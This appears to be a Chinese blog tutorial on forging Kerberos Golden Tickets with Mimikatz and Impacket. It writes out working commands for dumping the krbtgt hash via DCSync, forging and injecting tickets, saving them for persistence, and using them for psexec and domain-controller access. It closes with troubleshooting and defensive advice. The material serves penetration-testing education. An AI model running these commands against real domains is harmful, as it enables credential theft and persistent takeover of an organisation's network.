当前位置: 首页 > news >正文

手把手教你用Mimikatz制作Golden Ticket黄金票据(附实战截图与避坑点)

域渗透实战:黄金票据生成与利用的深度解析

引言

在复杂的网络环境中,安全专业人员需要掌握各种防御和攻击技术以评估系统脆弱性。黄金票据(Golden Ticket)作为一种高级持久化技术,允许攻击者在Kerberos认证体系中伪造任意用户的TGT(Ticket Granting Ticket)。本文将深入探讨如何在实际环境中生成和利用黄金票据,特别关注使用Mimikatz工具的具体操作步骤和常见问题排查。

不同于理论概述,本文将从实战角度出发,提供详细的命令行操作、参数解释以及执行前后的系统状态验证方法。我们假设读者已经具备基本的域环境知识,并获得了必要的初始访问权限(如krbtgt账户的NTLM哈希)。文章将覆盖从信息收集到票据生成、注入内存再到实际利用的完整流程,同时穿插关键注意事项和排错技巧。

1. 环境准备与信息收集

1.1 获取关键域信息

生成黄金票据需要三个核心要素:域SID、krbtgt账户的NTLM哈希和域名。让我们从最基础的信息收集开始:

获取域名

echo %userdomain%

或者使用更全面的命令:

systeminfo | findstr /B /C:"Domain"

获取域SID

whoami /all

在输出中查找包含"S-1-5-21"的行,这就是域的SID基础部分。完整的域SID通常格式为:S-1-5-21-[三个随机数字]-[两个随机数字]-[一个随机数字]。

获取krbtgt账户的NTLM哈希

mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt

执行后会显示类似如下的关键信息:

* Primary NTLM : 558ae7f88589153355cbeb046ac696df

注意:执行dcsync需要足够的权限,通常需要Domain Admins组成员的凭证。如果遇到权限不足的情况,可能需要先进行权限提升。

1.2 验证收集的信息

在继续之前,务必验证收集到的信息是否正确:

  1. 域名验证

    • 确认域名拼写无误,特别是大小写(Kerberos对大小写敏感)
    • 使用nltest /dsgetdc:yourdomain.com验证域控制器可达性
  2. SID验证

    • 确保获取的是域SID而非用户SID
    • 使用wmic useraccount where name='krbtgt' get sid交叉验证
  3. 哈希验证

    • krbtgt的NTLM哈希应为32位十六进制字符串
    • 使用mimikatz # kerberos::list检查当前票据状态

2. 黄金票据生成技术详解

2.1 Mimikatz生成黄金票据

Mimikatz是最常用的黄金票据生成工具,其kerberos::golden命令提供了丰富的参数选项:

mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ptt

参数解析

参数说明示例值
/user要伪造的用户名Administrator
/domain域名yourdomain.com
/sid域SIDS-1-5-21-...
/krbtgtkrbtgt账户的NTLM哈希32位十六进制字符串
/ptt自动注入内存(Pass The Ticket)无值

高级选项

  • /groups: 指定用户组RID(默认包含513,512,520,518,519)
  • /startoffset: 票据起始时间(默认为当前时间)
  • /endin: 票据有效期(默认为10年)
  • /renewmax: 最大续订时间

2.2 替代工具:Impacket的ticketer

对于Python环境,可以使用Impacket套件中的ticketer:

ticketer.py -nthash 558ae7f88589153355cbeb046ac696df -domain-sid S-1-5-21-1695257952-3088263962-2055235443 -domain yourdomain.com Administrator

生成后的票据可以通过以下命令注入:

export KRB5CCNAME=Administrator.ccache

提示:Impacket工具生成的票据需要额外配置环境变量,而Mimikatz的/ptt参数会自动完成注入。

3. 票据验证与利用

3.1 验证票据是否成功注入

使用以下命令检查当前会话中的Kerberos票据:

klist

预期输出应显示新生成的票据,特别注意:

  • 客户端名称应为伪造的用户名(如Administrator)
  • 服务器名称应为krbtgt/YOURDOMAIN.COM@YOURDOMAIN.COM
  • 票据有效期通常为10年

3.2 实际利用场景

场景1:访问域控共享

dir \\dc01.yourdomain.com\c$

场景2:远程执行命令

psexec.exe \\dc01.yourdomain.com cmd

场景3:DCSync攻击

mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt

3.3 持久化技术

黄金票据可以保存为文件供后续使用:

mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-... /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:golden.kirbi

后续注入:

mimikatz # kerberos::ptt golden.kirbi

4. 排错与防御策略

4.1 常见问题排查

问题1:票据生成但无法使用

  • 检查域名大小写是否一致
  • 确认系统时间与域控同步(Kerberos对时间敏感)
  • 使用nltest /dsgetdc:yourdomain.com验证域控可达性

问题2:dcsync失败

  • 确保使用的账户有足够权限
  • 检查网络连通性
  • 尝试不同的域控服务器

问题3:klist不显示票据

  • 确认Mimikatz以管理员权限运行
  • 检查是否有杀毒软件拦截
  • 尝试重新注入票据

4.2 防御建议

对于防御方,可以考虑以下措施:

  1. 定期重置krbtgt密码

    • 微软建议至少每180天重置一次
    • 需要连续重置两次(旧票据可能仍有效一段时间)
  2. 监控异常

    • 监视异常的Kerberos票据请求
    • 关注票据有效期异常长的会话
  3. 实施LSA保护

    • 启用Windows Defender Credential Guard
    • 配置RunAsPPL注册表键值
  4. 日志分析

    • 启用Kerberos服务日志
    • 监控4769事件(Kerberos服务票据请求)

在实际测试环境中,我发现黄金票据最有效的防御是krbtgt账户密码的定期轮换。曾经在一次红队演练中,客户系统因为超过两年未更换krbtgt密码,导致我们生成的票据拥有长达10年的有效期,几乎获得了永久的域内访问权限。

http://www.jsqmd.com/news/734519/

相关文章:

  • FanControl风扇控制终极指南:从安装到精通,让你的电脑散热更智能
  • 突破Windows窗口尺寸限制的专业级解决方案
  • 告别疑惑:从手机快充到笔记本供电,一文看懂不同设备充电电压的‘潜规则’
  • AI Agents 开源 LLM 简报 (2026年5月1日)
  • 告别Thymeleaf和FreeMarker!用Velocity模板引擎5分钟搞定Java代码自动生成(附完整配置流程)
  • 信息战与网络高维防御:以天地自洽之道,筑数字文明万里屏障
  • 终极RimWorld开局定制指南:完全掌控你的殖民者命运
  • 终极免费解决方案:如何彻底掌控你的Dell G15笔记本散热系统?
  • 我个人偏爱的组件
  • [具身智能-530]:Trae AI 主导开发:SOLO Builder 擅长“从 0 到 1”的无中生有,而 SOLO Coder 擅长“从 1 到 100”的精雕细琢。
  • WzComparerR2:冒险岛游戏数据解析与可视化工具
  • 终极免费音乐解锁工具:3分钟搞定所有加密音乐文件
  • 5步将闲置电视盒子变身高性能Armbian服务器:Amlogic S905X3终极改装指南
  • 私有化部署OpenClaw:打造安全可控的本地AI办公助理平台
  • haGo:构建安全、可自我进化的个人AI助手架构与实践
  • **AI代理的幻灭战场:2026年数据揭露的“原语生存法则”**
  • 打卡信奥刷题(3194)用C++实现信奥题 P8097 [USACO22JAN] Farm Updates G
  • 四月AI战局终章:混元登顶、DeepSeek降价、国家队进场
  • 从编码器到安全停车:一文讲透伺服电机那些关键的‘保命’功能(STO/SOS/SLS)
  • ESP32串口开发避坑指南:为什么你的UART1回环测试总失败?盘点5个常见配置误区
  • # 「找-发-审」的六道现实门槛:AI编程工程化落地的诚实审视
  • 淘宝/亚马逊卖家必备:一键图片翻译多种语言,保留原排版
  • 从接入到稳定运行 Taotoken 服务的过程与初步印象
  • OPC入门指南:一人公司概念,常用工具与注意事项全解析
  • linux内核网络协议栈分层及各层之间的传递解析
  • 如何用FlyOOBE终极方案突破Windows 11硬件限制:完整系统定制指南
  • AutoSubs终极指南:3分钟掌握本地AI字幕生成,视频制作效率提升300%
  • Spring AI 代理模式 Spring AI Agentic Patterns —— Spring AI (Part 1): Agent Skills
  • B站缓存视频转换完整指南:3分钟学会m4s无损转MP4
  • BilibiliDown音频提取技术方案:专业级无损音乐下载与批量处理实战